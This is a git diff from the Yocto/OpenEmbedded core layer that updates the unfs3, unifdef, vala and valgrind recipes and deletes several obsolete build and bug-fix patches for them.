diff --git a/meta/recipes-devtools/unfs3/unfs3/rename_fh_cache.patch b/meta/recipes-devtools/unfs3/unfs3/rename_fh_cache.patch
deleted file mode 100644
index e6d89530f8..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/rename_fh_cache.patch
+++ /dev/null
@@ -1,64 +0,0 @@
-From: Jason Wessel <jason.wessel@windriver.com>
-Date: Sat, 23 Feb 2013 08:49:08 -0600
-Subject: [PATCH] fh_cache: fix statle nfs handle on rename problem
-
-The following test case fails with modern linunx kernels which cache
-the renamed inode.
-
- % mkdir a;mkdir b;mv b a/;ls -l a
- ls: a/b: Stale NFS file handle
-
-The issue is that nfserver was not updating the fh_cache with the new
-location of the inode, when it moves directories.
-
-Signed-off-by: Jason Wessel <jason.wessel@windriver.com>
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- fh_cache.c | 12 ++++++++++++
- fh_cache.h | 1 +
- nfs.c | 2 ++
- 3 files changed, 15 insertions(+)
-
---- a/fh_cache.c
-+++ b/fh_cache.c
-@@ -199,6 +199,18 @@ static char *fh_cache_lookup(uint32 dev,
- }
-
- /*
-+ * update a fh inode cache for an operation like rename
-+ */
-+void fh_cache_update(nfs_fh3 fh, char *path)
-+{
-+ unfs3_fh_t *obj = (void *) fh.data.data_val;
-+ backend_statstruct buf;
-+
-+ if (backend_lstat(path, &buf) != -1) {
-+ fh_cache_add(obj->dev, buf.st_ino, path);
-+ }
-+}
-+/*
- * resolve a filename into a path
- * cache-using wrapper for fh_decomp_raw
- */
---- a/fh_cache.h
-+++ b/fh_cache.h
-@@ -19,5 +19,6 @@ unfs3_fh_t fh_comp(const char *path, str
- unfs3_fh_t *fh_comp_ptr(const char *path, struct svc_req *rqstp, int need_dir);
-
- char *fh_cache_add(uint32 dev, uint64 ino, const char *path);
-+void fh_cache_update(nfs_fh3 fh, char *path);
-
- #endif
---- a/nfs.c
-+++ b/nfs.c
-@@ -876,6 +876,8 @@ RENAME3res *nfsproc3_rename_3_svc(RENAME
- res = backend_rename(from_obj, to_obj);
- if (res == -1)
- result.status = rename_err();
-+ /* Update the fh_cache with moved inode value */
-+ fh_cache_update(argp->to.dir, to_obj);
- }
- }
-
diff --git a/meta/recipes-devtools/unfs3/unfs3/tcp_no_delay.patch b/meta/recipes-devtools/unfs3/unfs3/tcp_no_delay.patch
deleted file mode 100644
index b3521c63eb..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/tcp_no_delay.patch
+++ /dev/null
@@ -1,56 +0,0 @@
-daemon.c: Add option for tcp no delay
-
-Allow the NFS tcp sockets to conditionally use TCP_NODELAY
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- daemon.c | 9 ++++++++-
- 1 file changed, 8 insertions(+), 1 deletion(-)
-
---- a/daemon.c
-+++ b/daemon.c
-@@ -17,6 +17,7 @@
- #ifndef WIN32
- #include <sys/socket.h>
- #include <netinet/in.h>
-+#include <netinet/tcp.h>
- #include <arpa/inet.h>
- #include <syslog.h>
- #else /* WIN32 */
-@@ -75,6 +76,7 @@ unsigned int opt_mount_port = NFS_PORT;
- int opt_singleuser = FALSE;
- int opt_brute_force = FALSE;
- int opt_testconfig = FALSE;
-+int opt_tcp_nodelay = FALSE;
- struct in_addr opt_bind_addr;
- int opt_readable_executables = FALSE;
- char *opt_pid_file = NULL;
-@@ -208,7 +210,7 @@ static void parse_options(int argc, char
- {
-
- int opt = 0;
-- char *optstring = "bcC:de:hl:m:n:prstTuwi:x:y:";
-+ char *optstring = "bcC:de:hl:m:Nn:prstTuwi:x:y:";
-
- while (opt != -1) {
- opt = getopt(argc, argv, optstring);
-@@ -295,6 +297,9 @@ static void parse_options(int argc, char
- exit(1);
- }
- break;
-+ case 'N':
-+ opt_tcp_nodelay = TRUE;
-+ break;
- case 'n':
- opt_nfs_port = strtol(optarg, NULL, 10);
- if (opt_nfs_port == 0) {
-@@ -802,6 +807,8 @@ static SVCXPRT *create_tcp_transport(uns
- sin.sin_addr.s_addr = opt_bind_addr.s_addr;
- sock = socket(PF_INET, SOCK_STREAM, 0);
- setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (const char *) &on, sizeof(on));
-+ if (opt_tcp_nodelay)
-+ setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &on, sizeof(on));
- if (bind(sock, (struct sockaddr *) &sin, sizeof(struct sockaddr))) {
- perror("bind");
- fprintf(stderr, "Couldn't bind to tcp port %d\n", port);
diff --git a/meta/recipes-devtools/unfs3/unfs3/unfs3_parallel_build.patch b/meta/recipes-devtools/unfs3/unfs3/unfs3_parallel_build.patch
deleted file mode 100644
index 6f64dd5b3e..0000000000
--- a/meta/recipes-devtools/unfs3/unfs3/unfs3_parallel_build.patch
+++ /dev/null
@@ -1,37 +0,0 @@
-Fix parallel build dependency issue
-
-If building with make -j2 the lib.a will not get built in time.
-
-Jason Wessel <jason.wessel@windriver.com>
-
-Upstream-Status: Submitted http://sourceforge.net/p/unfs3/bugs/5/
-
----
- Config/Makefile.in | 3 +++
- Makefile.in | 3 ++-
- 2 files changed, 5 insertions(+), 1 deletion(-)
-
---- a/Makefile.in
-+++ b/Makefile.in
-@@ -29,7 +29,8 @@ DESTDIR =
-
- VPATH = $(srcdir)
-
--all: subdirs unfsd$(EXEEXT)
-+all: subdirs
-+ $(MAKE) unfsd$(EXEEXT)
-
- unfsd$(EXEEXT): $(OBJS) $(CONFOBJ) $(EXTRAOBJ)
- $(CC) -o $@ $(OBJS) $(CONFOBJ) $(EXTRAOBJ) $(LDFLAGS)
---- a/Config/Makefile.in
-+++ b/Config/Makefile.in
-@@ -16,6 +16,9 @@ lib.a: $(OBJS)
- $(AR) crs lib.a $(OBJS)
-
- y.tab.h y.tab.c: $(srcdir)/exports.y
-+y.tab.h: y.tab.c
-+
-+y.tab.c: $(srcdir)/exports.y
- $(YACC) -d $(srcdir)/exports.y
-
- y.tab.o: y.tab.c $(srcdir)/exports.h $(top_srcdir)/nfs.h $(top_srcdir)/mount.h $(top_srcdir)/daemon.h
diff --git a/meta/recipes-devtools/unfs3/unfs3_git.bb b/meta/recipes-devtools/unfs3/unfs3_git.bb
index d60cee87c9..c5b7898b3c 100644
--- a/meta/recipes-devtools/unfs3/unfs3_git.bb
+++ b/meta/recipes-devtools/unfs3/unfs3_git.bb
@@ -2,42 +2,29 @@ SUMMARY = "Userspace NFS server v3 protocol"
DESCRIPTION = "UNFS3 is a user-space implementation of the NFSv3 server \
specification. It provides a daemon for the MOUNT and NFS protocols, which \
are used by NFS clients for accessing files on the server."
+HOMEPAGE = "https://github.com/unfs3/unfs3"
SECTION = "console/network"
LICENSE = "unfs3"
LIC_FILES_CHKSUM = "file://LICENSE;md5=9475885294e17c0cc0067820d042792e"
DEPENDS = "flex-native bison-native flex"
DEPENDS += "libtirpc"
-DEPENDS_append_class-nativesdk = " flex-nativesdk"
-
-ASNEEDED = ""
+DEPENDS:append:class-nativesdk = " flex-nativesdk"
S = "${WORKDIR}/git"
-SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https \
- file://unfs3_parallel_build.patch \
- file://alternate_rpc_ports.patch \
- file://fix_pid_race_parent_writes_child_pid.patch \
- file://fix_compile_warning.patch \
- file://rename_fh_cache.patch \
- file://relative_max_socket_path_len.patch \
- file://tcp_no_delay.patch \
- file://0001-daemon.c-Libtirpc-porting-fixes.patch \
+SRC_URI = "git://github.com/unfs3/unfs3.git;protocol=https;branch=master \
+ file://0001-daemon.c-Fix-race-window-for-writing-of-the-pid-file.patch \
+ file://0001-Alias-off64_t-to-off_t-on-linux-if-not-defined.patch \
+ file://0001-locate.c-Include-attr.h.patch \
+ file://0001-fix-building-on-macOS.patch \
file://0001-attr-fix-utime-for-symlink.patch \
- file://0001-Add-listen-action-for-a-tcp-socket.patch \
- "
-SRCREV = "c12a5c69a8d59be6916cbd0e0f41c159f1962425"
-UPSTREAM_CHECK_GITTAGREGEX = "unfs3\-(?P<pver>.+)"
+ "
+SRCREV = "c8f2d2cd4529955419bad0e163f88d47ff176b8d"
+UPSTREAM_CHECK_GITTAGREGEX = "unfs3\-(?P<pver>\d+(\.\d+)+)"
-PV = "0.9.22+${SRCPV}"
+PV = "0.10.0"
BBCLASSEXTEND = "native nativesdk"
-inherit autotools
-EXTRA_OECONF_append_class-native = " --sbindir=${bindir}"
-CFLAGS_append = " -I${STAGING_INCDIR}/tirpc"
-LDFLAGS_append = " -ltirpc"
-
-# Turn off these header detects else the inode search
-# will walk entire file systems and this is a real problem
-# if you have 2 TB of files to walk in your file system
-CACHED_CONFIGUREVARS = "ac_cv_header_mntent_h=no ac_cv_header_sys_mnttab_h=no"
+inherit autotools pkgconfig
+EXTRA_OECONF:append:class-native = " --sbindir=${bindir}"
diff --git a/meta/recipes-devtools/unifdef/unifdef_2.12.bb b/meta/recipes-devtools/unifdef/unifdef_2.12.bb
index 22b10ba234..3e08b3a0a4 100644
--- a/meta/recipes-devtools/unifdef/unifdef_2.12.bb
+++ b/meta/recipes-devtools/unifdef/unifdef_2.12.bb
@@ -2,6 +2,7 @@ SUMMARY = "Selectively remove #ifdef statements from sources"
SECTION = "devel"
LICENSE = "BSD-2-Clause"
HOMEPAGE = "http://dotat.at/prog/unifdef/"
+DESCRIPTION = "The unifdef utility selectively processes conditional C preprocessor #if and #ifdef directives. It removes from a file both the directives and the additional text that they delimit, while otherwise leaving the file alone."
LIC_FILES_CHKSUM = "file://COPYING;md5=3498caf346f6b77934882101749ada23 \
file://unifdef.c;endline=32;md5=6f4ee8085d6e6ab0f7cb4390e1a9c497 \
@@ -17,4 +18,4 @@ do_install() {
oe_runmake install DESTDIR=${D} prefix=${prefix}
}
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/vala/vala.inc b/meta/recipes-devtools/vala/vala.inc
deleted file mode 100644
index 703ed1aa8d..0000000000
--- a/meta/recipes-devtools/vala/vala.inc
+++ /dev/null
@@ -1,62 +0,0 @@
-SUMMARY = "C#-like programming language for easing GObject programming"
-DESCRIPTION = "Vala is a C#-like language dedicated to ease GObject programming. \
-Vala compiles to plain C and has no runtime environment nor penalities whatsoever."
-SECTION = "devel"
-DEPENDS = "bison-native flex-native glib-2.0"
-
-# Appending libxslt-native to dependencies has an effect
-# of rebuilding the manual, which is very slow. Let's do this
-# only when api-documentation distro feature is enabled.
-DEPENDS_append_class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'libxslt-native', '', d)}"
-
-# vala-native contains a native version of vapigen, which we use instead of the target one
-DEPENDS_append_class-target = " vala-native"
-BBCLASSEXTEND = "native"
-HOMEPAGE = "http://vala-project.org"
-LICENSE = "LGPLv2.1"
-LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
-
-SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
-
-SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/${BPN}/${SHRT_VER}/${BP}.tar.xz"
-inherit autotools pkgconfig upstream-version-is-even
-
-FILES_${PN} += "${datadir}/${BPN}-${SHRT_VER}/vapi ${libdir}/${BPN}-${SHRT_VER}/"
-FILES_${PN}-doc += "${datadir}/devhelp"
-
-# .gir files from gobject-introspection are installed to ${libdir} when multilib is enabled
-GIRDIR_OPT = "${@'--girdir=${STAGING_LIBDIR}/gir-1.0' if d.getVar('MULTILIBS') else ''}"
-
-do_configure_prepend_class-target() {
- # Write out a vapigen wrapper that will be provided by pkg-config file installed in target sysroot
- # The wrapper will call a native vapigen
- cat > ${B}/vapigen-wrapper << EOF
-#!/bin/sh
-vapigen-${SHRT_VER} ${GIRDIR_OPT} "\$@"
-EOF
- chmod +x ${B}/vapigen-wrapper
-}
-
-EXTRA_OECONF += " --disable-valadoc"
-
-# Vapigen wrapper needs to be available system-wide, because it will be used
-# to build vapi files from all other packages with vala support
-do_install_append_class-target() {
- install -d ${D}${bindir}/
- install ${B}/vapigen-wrapper ${D}${bindir}/
-}
-
-# Put vapigen wrapper into target sysroot so that it can be used when building
-# vapi files.
-SYSROOT_DIRS_append_class-target = " ${bindir}"
-
-SYSROOT_PREPROCESS_FUNCS_append_class-target = " vapigen_sysroot_preprocess"
-vapigen_sysroot_preprocess() {
- # Tweak the vapigen name in the vapigen pkgconfig file, so that it picks
- # up our wrapper.
- sed -i \
- -e "s|vapigen=.*|vapigen=${bindir}/vapigen-wrapper|" \
- ${SYSROOT_DESTDIR}${libdir}/pkgconfig/vapigen-${SHRT_VER}.pc
-}
-
-SSTATE_SCAN_FILES += "vapigen-wrapper"
diff --git a/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch b/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
deleted file mode 100644
index ecab0fc1c9..0000000000
--- a/meta/recipes-devtools/vala/vala/0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch
+++ /dev/null
@@ -1,38 +0,0 @@
-From dbb1c58e86f2af4613f3ac9571d9b163d4bca675 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 23 Oct 2015 16:13:54 +0300
-Subject: [PATCH] vapigen.m4: use $PKG_CONFIG_SYSROOT_DIR
-
-This is necessary in cross-compiling environments, where directories
-returned by pkg-config should be prefixed with sysroot location.
-
-Upstream-Status: Pending [review in oe-core list]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- vapigen/vapigen.m4 | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/vapigen/vapigen.m4 b/vapigen/vapigen.m4
-index 2c435e7..6228991 100644
---- a/vapigen/vapigen.m4
-+++ b/vapigen/vapigen.m4
-@@ -82,12 +82,12 @@ AC_DEFUN([VAPIGEN_CHECK],
-
- AS_CASE([$enable_vala],
- [yes], [
-- VAPIGEN=`$PKG_CONFIG --variable=vapigen $vapigen_pkg_name`
-- VAPIGEN_MAKEFILE=`$PKG_CONFIG --variable=datadir $vapigen_pkg_name`/vala/Makefile.vapigen
-+ VAPIGEN=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=vapigen $vapigen_pkg_name`
-+ VAPIGEN_MAKEFILE=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=datadir $vapigen_pkg_name`/vala/Makefile.vapigen
- AS_IF([test "x$2" = "x"], [
-- VAPIGEN_VAPIDIR=`$PKG_CONFIG --variable=vapidir $vapigen_pkg_name`
-+ VAPIGEN_VAPIDIR=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=vapidir $vapigen_pkg_name`
- ], [
-- VAPIGEN_VAPIDIR=`$PKG_CONFIG --variable=vapidir_versioned $vapigen_pkg_name`
-+ VAPIGEN_VAPIDIR=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=vapidir_versioned $vapigen_pkg_name`
- ])
- ])
-
---
-2.1.4
-
diff --git a/meta/recipes-devtools/vala/vala_0.48.7.bb b/meta/recipes-devtools/vala/vala_0.48.7.bb
deleted file mode 100644
index 2e61db1052..0000000000
--- a/meta/recipes-devtools/vala/vala_0.48.7.bb
+++ /dev/null
@@ -1,5 +0,0 @@
-require ${BPN}.inc
-
-SRC_URI += " file://0001-vapigen.m4-use-PKG_CONFIG_SYSROOT_DIR.patch"
-
-SRC_URI[sha256sum] = "28de33e28da24500cc1675c3a6ced1301c9a6a5e6dd06193569001f9ce9a5c53"
diff --git a/meta/recipes-devtools/vala/vala_0.56.16.bb b/meta/recipes-devtools/vala/vala_0.56.16.bb
new file mode 100644
index 0000000000..1c8e4fc673
--- /dev/null
+++ b/meta/recipes-devtools/vala/vala_0.56.16.bb
@@ -0,0 +1,73 @@
+SUMMARY = "C#-like programming language for easing GObject programming"
+HOMEPAGE = "http://vala-project.org"
+DESCRIPTION = "Vala is a C#-like language dedicated to ease GObject programming. \
+Vala compiles to plain C and has no runtime environment nor penalities whatsoever."
+SECTION = "devel"
+DEPENDS = "bison-native flex-native glib-2.0 gobject-introspection"
+
+# Appending libxslt-native to dependencies has an effect
+# of rebuilding the manual, which is very slow. Let's do this
+# only when api-documentation distro feature is enabled.
+DEPENDS:append:class-target = " ${@bb.utils.contains('DISTRO_FEATURES', 'api-documentation', 'libxslt-native', '', d)}"
+
+# vala-native contains a native version of vapigen, which we use instead of the target one
+DEPENDS:append:class-target = " vala-native"
+BBCLASSEXTEND = "native"
+LICENSE = "LGPL-2.1-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=fbc093901857fcd118f065f900982c24"
+
+SHRT_VER = "${@d.getVar('PV').split('.')[0]}.${@d.getVar('PV').split('.')[1]}"
+
+SRC_URI = "http://ftp.gnome.org/pub/GNOME/sources/${BPN}/${SHRT_VER}/${BP}.tar.xz"
+SRC_URI[sha256sum] = "05487b5600f5d2f09e66a753cccd8f39c1bff9f148aea1b7774d505b9c8bca9b"
+
+inherit autotools pkgconfig upstream-version-is-even
+
+FILES:${PN} += "${datadir}/${BPN}-${SHRT_VER}/vapi ${libdir}/${BPN}-${SHRT_VER}/"
+FILES:${PN}-doc += "${datadir}/devhelp"
+
+# .gir files from gobject-introspection are installed to ${libdir} when multilib is enabled
+GIRDIR_OPT = "${@'--girdir=${STAGING_LIBDIR}/gir-1.0' if d.getVar('MULTILIBS') else ''}"
+
+do_configure:prepend:class-target() {
+ # Write out a vapigen wrapper that will be provided by pkg-config file installed in target sysroot
+ # The wrapper will call a native vapigen
+ cat > ${B}/vapigen-wrapper << EOF
+#!/bin/sh
+vapigen-${SHRT_VER} ${GIRDIR_OPT} "\$@"
+EOF
+ chmod +x ${B}/vapigen-wrapper
+}
+
+EXTRA_OECONF += " --disable-valadoc"
+
+# Vapigen wrapper needs to be available system-wide, because it will be used
+# to build vapi files from all other packages with vala support
+do_install:append:class-target() {
+ install -d ${D}${bindir_crossscripts}/
+ install ${B}/vapigen-wrapper ${D}${bindir_crossscripts}/
+}
+
+# Put vapigen wrapper into target sysroot so that it can be used when building
+# vapi files.
+SYSROOT_DIRS += "${bindir_crossscripts}"
+
+inherit multilib_script
+MULTILIB_SCRIPTS = "${PN}:${bindir}/vala-gen-introspect-0.56"
+
+SYSROOT_PREPROCESS_FUNCS:append:class-target = " vapigen_sysroot_preprocess"
+vapigen_sysroot_preprocess() {
+ # Tweak the vapigen name in the vapigen pkgconfig file, so that it picks
+ # up our wrapper.
+ sed -i \
+ -e "s|vapigen=.*|vapigen=${bindir_crossscripts}/vapigen-wrapper|" \
+ ${SYSROOT_DESTDIR}${libdir}/pkgconfig/vapigen-${SHRT_VER}.pc
+}
+
+SSTATE_SCAN_FILES += "vapigen-wrapper"
+
+PACKAGE_PREPROCESS_FUNCS += "vala_package_preprocess"
+
+vala_package_preprocess () {
+ rm -rf ${PKGD}${bindir_crossscripts}
+}
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch b/meta/recipes-devtools/valgrind/valgrind/0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch
deleted file mode 100644
index 81ab29f3be..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-Guard-against-__GLIBC_PREREQ-for-musl-libc.patch
+++ /dev/null
@@ -1,36 +0,0 @@
-From 1b5b6f827ac1153a41fc93e78bf34ccdf5720b9b Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Fri, 19 Oct 2018 10:31:12 -0400
-Subject: [PATCH] Guard against __GLIBC_PREREQ for musl libc
-
-Upstream-Status: Submitted https://bugs.kde.org/show_bug.cgi?id=400162
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- memcheck/tests/linux/sys-statx.c | 5 +++++
- 1 file changed, 5 insertions(+)
-
-diff --git a/memcheck/tests/linux/sys-statx.c b/memcheck/tests/linux/sys-statx.c
-index fe9f9ba45..473c2cd7f 100644
---- a/memcheck/tests/linux/sys-statx.c
-+++ b/memcheck/tests/linux/sys-statx.c
-@@ -7,11 +7,16 @@
- #include <assert.h>
- #include <string.h>
- #include <sys/syscall.h>
-+
-+#if defined(__GLIBC__) && defined(__GLIBC_PREREQ)
- #if __GLIBC_PREREQ(2,28)
- /* struct statx provided in sys/stat.h */
- #else
- #include <linux/stat.h>
- #endif
-+#else
-+#include <linux/stat.h>
-+#endif
- #include <errno.h>
-
- int check_stat2;
---
-2.17.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-Make-local-functions-static-to-avoid-assembler-error.patch b/meta/recipes-devtools/valgrind/valgrind/0001-Make-local-functions-static-to-avoid-assembler-error.patch
deleted file mode 100644
index 8d2ca5733e..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-Make-local-functions-static-to-avoid-assembler-error.patch
+++ /dev/null
@@ -1,182 +0,0 @@
-From 2155c1b2cf00e744e280c493eb74bf457dfcc3b1 Mon Sep 17 00:00:00 2001
-From: Randy MacLeod <Randy.MacLeod@windriver.com>
-Date: Sun, 21 Oct 2018 15:09:31 -0400
-Subject: [PATCH] Make local functions static to avoid assembler error
-
-Avoid mips32 x-compiler warnings such as:
-
-| ../../../valgrind-3.14.0/helgrind/tests/annotate_hbefore.c:360:6: warning: no previous prototype for 'do_signal' [-Wmissing-prototypes]
-| void do_signal ( UWord* w )
-| ^~~~~~~~~
-
-by making functions and global variables that are file scope be static
-and more importantly also avoid an assembler error:
-
-/tmp/cce22iiw.s: Assembler messages:
-/tmp/cce22iiw.s:446: Error: symbol `exit_0' is already defined
-/tmp/cce22iiw.s:448: Error: symbol `exit' is already defined
-/tmp/cce22iiw.s:915: Error: symbol `exit_0' is already defined
-/tmp/cce22iiw.s:917: Error: symbol `exit' is already defined
-
-Upstream-Status: Submitted https://bugs.kde.org/show_bug.cgi?id=400164
-
-Signed-off-by: Randy MacLeod <Randy.MacLeod@windriver.com>
----
- helgrind/tests/annotate_hbefore.c | 34 +++++++++++++++----------------
- 1 file changed, 17 insertions(+), 17 deletions(-)
-
-diff --git a/helgrind/tests/annotate_hbefore.c b/helgrind/tests/annotate_hbefore.c
-index e311714f7..f55514e45 100644
---- a/helgrind/tests/annotate_hbefore.c
-+++ b/helgrind/tests/annotate_hbefore.c
-@@ -24,7 +24,7 @@ typedef unsigned long int UWord;
-
- // ppc64
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord old, success;
-
-@@ -57,7 +57,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // ppc32
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord old, success;
-
-@@ -90,7 +90,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // amd64
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord block[4] = { (UWord)addr, expected, nyu, 2 };
- __asm__ __volatile__(
-@@ -113,7 +113,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // x86
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord block[4] = { (UWord)addr, expected, nyu, 2 };
- __asm__ __volatile__(
-@@ -138,7 +138,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // arm
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord old, success;
- UWord block[2] = { (UWord)addr, nyu };
-@@ -171,7 +171,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // arm64
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord old, success;
- UWord block[2] = { (UWord)addr, nyu };
-@@ -204,7 +204,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // s390x
- /* return 1 if success, 0 if failure */
--UWord do_acasW(UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW(UWord* addr, UWord expected, UWord nyu )
- {
- int cc;
-
-@@ -223,7 +223,7 @@ UWord do_acasW(UWord* addr, UWord expected, UWord nyu )
-
- // mips32
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord success;
- UWord block[3] = { (UWord)addr, nyu, expected};
-@@ -256,7 +256,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- // mips64
- /* return 1 if success, 0 if failure */
--UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-+static UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
- {
- UWord success;
- UWord block[3] = { (UWord)addr, nyu, expected};
-@@ -287,7 +287,7 @@ UWord do_acasW ( UWord* addr, UWord expected, UWord nyu )
-
- #endif
-
--void atomic_incW ( UWord* w )
-+static void atomic_incW ( UWord* w )
- {
- while (1) {
- UWord old = *w;
-@@ -301,7 +301,7 @@ void atomic_incW ( UWord* w )
-
- #define NNN 1000000
-
--void* thread_fn ( void* arg )
-+static void* thread_fn ( void* arg )
- {
- UWord* w = (UWord*)arg;
- int i;
-@@ -331,10 +331,10 @@ int main ( void )
-
- #endif
-
--int shared_var = 0; // is not raced upon
-+static int shared_var = 0; // is not raced upon
-
-
--void delayXms ( int i )
-+static void delayXms ( int i )
- {
- struct timespec ts = { 0, 1 * 1000 * 1000 };
- // We do the sleep in small pieces to have scheduling
-@@ -348,7 +348,7 @@ void delayXms ( int i )
- }
- }
-
--void do_wait ( UWord* w )
-+static void do_wait ( UWord* w )
- {
- UWord w0 = *w;
- UWord volatile * wV = w;
-@@ -357,7 +357,7 @@ void do_wait ( UWord* w )
- ANNOTATE_HAPPENS_AFTER(w);
- }
-
--void do_signal ( UWord* w )
-+static void do_signal ( UWord* w )
- {
- ANNOTATE_HAPPENS_BEFORE(w);
- atomic_incW(w);
-@@ -365,7 +365,7 @@ void do_signal ( UWord* w )
-
-
-
--void* thread_fn1 ( void* arg )
-+static void* thread_fn1 ( void* arg )
- {
- UWord* w = (UWord*)arg;
- delayXms(500); // ensure t2 gets to its wait first
-@@ -376,7 +376,7 @@ void* thread_fn1 ( void* arg )
- return NULL;
- }
-
--void* thread_fn2 ( void* arg )
-+static void* thread_fn2 ( void* arg )
- {
- UWord* w = (UWord*)arg;
- do_wait(w); // wait for h-b edge from first thread
---
-2.17.0
-
diff --git a/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch b/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch
deleted file mode 100644
index a78e1953ff..0000000000
--- a/meta/recipes-devtools/valgrind/valgrind/0001-Remove-tests-that-fail-to-build-on-some-PPC32-config.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From 9762fd23e1f1db66d4b977c694a17d3bca3fe99a Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 8 Jan 2016 16:36:29 +0200
-Subject: [PATCH] Remove tests that fail to build on some PPC32 configurations
-
-Failures are documented here:
-http://errors.yoctoproject.org/Errors/Search/?items=10&query=862d702fbb99e484631315aa44b9e46f8fc567da&filter=valgrind&type=recipe
-
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Upstream-Status: Pending
----
- memcheck/tests/ppc32/Makefile.am | 2 +-
- none/tests/ppc32/Makefile.am | 4 ++--
- 2 files changed, 3 insertions(+), 3 deletions(-)
-
-diff --git a/memcheck/tests/ppc32/Makefile.am b/memcheck/tests/ppc32/Makefile.am
-index 26b95a2..8f05743 100644
---- a/memcheck/tests/ppc32/Makefile.am
-+++ b/memcheck/tests/ppc32/Makefile.am
-@@ -10,7 +10,7 @@ EXTRA_DIST = $(noinst_SCRIPTS) \
- power_ISA2_07.stderr.exp power_ISA2_07.vgtest
-
- check_PROGRAMS = \
-- power_ISA2_05 power_ISA2_07
-+ power_ISA2_07
-
- power_ISA2_05_CFLAGS = $(AM_CFLAGS) $(WERROR) -Winline -Wall -Wshadow -g \
- -I$(top_srcdir)/include @FLAG_M32@
-diff --git a/none/tests/ppc32/Makefile.am b/none/tests/ppc32/Makefile.am
-index 196239e..0fe3425 100644
---- a/none/tests/ppc32/Makefile.am
-+++ b/none/tests/ppc32/Makefile.am
-@@ -50,13 +50,13 @@ EXTRA_DIST = \
-
- check_PROGRAMS = \
- allexec \
-- lsw jm-insns round \
-+ lsw \
- test_isa_2_06_part1 test_isa_2_06_part2 test_isa_2_06_part3 \
- test_dfp1 test_dfp2 test_dfp3 test_dfp4 test_dfp5 \
- test_isa_2_07_part1 test_isa_2_07_part2 \
- test_tm test_touch_tm ldst_multiple data-cache-instructions \
- test_fx test_gx \
-- testVMX twi tw xlc_dbl_u32 power5+_round power6_bcmp \
-+ twi tw xlc_dbl_u32 power6_bcmp \
- bug129390-ppc32 bug139050-ppc32 \
- ldstrev mftocrf mcrfs
-
---
-2.6.4
-
